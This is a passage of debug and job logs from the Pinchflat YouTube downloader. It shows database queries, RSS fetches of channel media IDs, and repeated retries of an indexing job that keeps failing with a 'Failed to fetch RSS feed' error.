s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 03:40:55.369 [debug] QUERY OK source="settings" db=0.0ms idle=639.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:40:55.369 [debug] QUERY OK source="media_profiles" db=0.0ms idle=633.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:40:55.369 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:40:55.369 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCmEZqGF0jU8o1OeoecjIE2A 03:40:55.397 [debug] Media ids fetched from RSS: ["FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:40:55.397 [debug] QUERY OK source="media_items" db=0.1ms idle=27.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "FUaD7PTXMd4", "Tnwt9z7zVy0", "eBciNtRE6Xc", "t0QLs4y7Y70", "-qASrzBWME4", "6_orrWvWvSg", "jAWp_iW5RGE", "-QCoVlyAl3c", "HyOFVAP8fiE", "b3RSxr1ubYo", "UHFEdiLBRHM", "UEjStUTjntQ", "cD7Xcrjh7tE", "3guS4E-9r9s", "_lO_ZLTVxTI"] 03:40:55.397 [debug] QUERY OK source="media_items" db=0.2ms idle=28.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 03:40:55.398 [debug] QUERY OK source="tasks" db=0.0ms idle=28.3ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [537, 2, ~U[2026-07-24 03:40:55Z], ~U[2026-07-24 03:40:55Z]] 03:40:55.398 [info] {"args":{"id":2},"id":534,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":29195,"event":"job:stop","queue_time":368266,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:40:55.471 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.953 [info] {"source":"oban","duration":233,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:41:25.472 [info] {"source":"oban","duration":327,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:55.473 [info] {"source":"oban","duration":489,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.954 [info] {"source":"oban","duration":350,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:42:25.474 [info] {"source":"oban","duration":411,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:55.475 [info] {"source":"oban","duration":493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.955 [info] {"source":"oban","duration":194,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:43:25.476 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:55.478 [info] {"source":"oban","duration":465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.956 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:44:25.479 [info] {"source":"oban","duration":441,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:55.480 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.957 [info] {"source":"oban","duration":225,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:45:25.481 [info] {"source":"oban","duration":488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:28.654 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864728654292997,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:45:28.654 [debug] QUERY OK source="sources" db=0.1ms idle=1578.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:45:28.654 [debug] QUERY OK source="settings" db=0.0ms idle=1578.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:28.654 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:45:28.655 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:28.655 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:45:28.835 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":180804,"event":"job:exception","queue_time":551614,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:45:46.673 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864746673396980,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:45:46.673 [debug] QUERY OK source="sources" db=0.1ms idle=597.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:45:46.674 [debug] QUERY OK source="settings" db=0.0ms idle=597.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:46.674 [debug] QUERY OK source="media_profiles" db=0.1ms idle=598.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:45:46.674 [debug] QUERY OK source="settings" db=0.0ms idle=6.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:45:46.674 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:45:46.772 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":98665,"event":"job:exception","queue_time":837407,"attempt":2,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:45:55.482 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.958 [info] {"source":"oban","duration":195,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:46:06.694 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864766694325878,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:46:06.694 [debug] QUERY OK source="sources" db=0.1ms idle=618.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:46:06.695 [debug] QUERY OK source="settings" db=0.2ms idle=618.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:46:06.695 [debug] QUERY OK source="media_profiles" db=0.0ms idle=619.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:46:06.695 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:46:06.695 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:46:06.821 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":126260,"event":"job:exception","queue_time":921331,"attempt":3,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:46:25.483 [info] {"source":"oban","duration":567,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:32.724 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864792724329720,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:46:32.724 [debug] QUERY OK source="sources" db=0.0ms idle=648.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:46:32.724 [debug] QUERY OK source="settings" db=0.0ms idle=648.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:46:32.725 [debug] QUERY OK source="media_profiles" db=0.1ms idle=649.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:46:32.725 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:46:32.725 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:46:32.930 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":205747,"event":"job:exception","queue_time":902925,"attempt":4,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:46:55.484 [info] {"source":"oban","duration":425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.959 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:47:05.759 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864825759291370,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:47:05.759 [debug] QUERY OK source="sources" db=0.1ms idle=1683.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:47:05.759 [debug] QUERY OK source="settings" db=0.0ms idle=1683.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:05.759 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1007.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:47:05.760 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:05.760 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:47:05.939 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":179286,"event":"job:exception","queue_time":828435,"attempt":5,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:47:25.485 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:55.486 [info] {"source":"oban","duration":519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:57.815 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864877815105252,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:47:57.815 [debug] QUERY OK source="sources" db=0.0ms idle=739.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:47:57.815 [debug] QUERY OK source="settings" db=0.0ms idle=739.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.815 [debug] QUERY OK source="media_profiles" db=0.0ms idle=739.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:47:57.815 [debug] QUERY OK source="settings" db=0.0ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:47:57.815 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:47:58.017 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":201360,"event":"job:exception","queue_time":875878,"attempt":6,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:48:00.960 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:48:25.489 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:55.490 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.961 [info] {"source":"oban","duration":368,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:49:19.907 [info] {"args":{"id":3},"id":535,"meta":{},"system_time":1784864959907222491,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:49:19.907 [debug] QUERY OK source="sources" db=0.0ms idle=831.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:49:19.907 [debug] QUERY OK source="settings" db=0.0ms idle=831.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:19.907 [debug] QUERY OK source="media_profiles" db=0.0ms idle=831.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:49:19.907 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:49:19.907 [debug] Fetching recent media IDs from YouTube RSS feed for source: UCzqbfYjQmf9nLQPMxVgPhiA 03:49:20.374 [info] {"error":"** (MatchError) no match of right hand side value: {:error, \"Failed to fetch RSS feed\"}","args":{"id":3},"id":535,"meta":{},"state":"failure","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":466555,"event":"job:exception","queue_time":889991,"attempt":7,"tags":["media_source","fast_indexing","show_in_dashboard"]} 03:49:25.491 [info] {"source":"oban","duration":574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:55.492 [info] {"source":"oban","duration":413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.962 [info] {"source":"oban","duration":146,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:50:25.493 [info] {"source":"oban","duration":601,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:55.017 [info] 